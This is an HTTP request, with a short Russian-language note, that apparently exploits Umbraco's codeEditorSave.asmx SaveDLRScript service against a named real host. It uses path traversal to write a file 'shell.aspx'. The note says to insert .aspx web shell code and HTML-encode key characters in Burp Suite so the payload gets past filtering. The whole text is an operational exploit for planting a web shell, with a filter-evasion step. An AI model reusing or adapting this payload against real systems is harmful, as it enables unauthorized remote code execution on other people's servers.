POST /umbraco/webservices/codeEditorSave.asmx HTTP/1.1
SOAPAction: "http://tempuri.org/SaveDLRScript"
Content-Type: text/xml
Host: ecb.md
Content-Length: 710
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*

    
        
            /..\\..\\..\\umbraco\\shell.aspx
            string
            

Код шелла .aspx,в burpsuite выбираем
Convert selection->Html->Html encode key characters
так прошел через фильтрацию

            1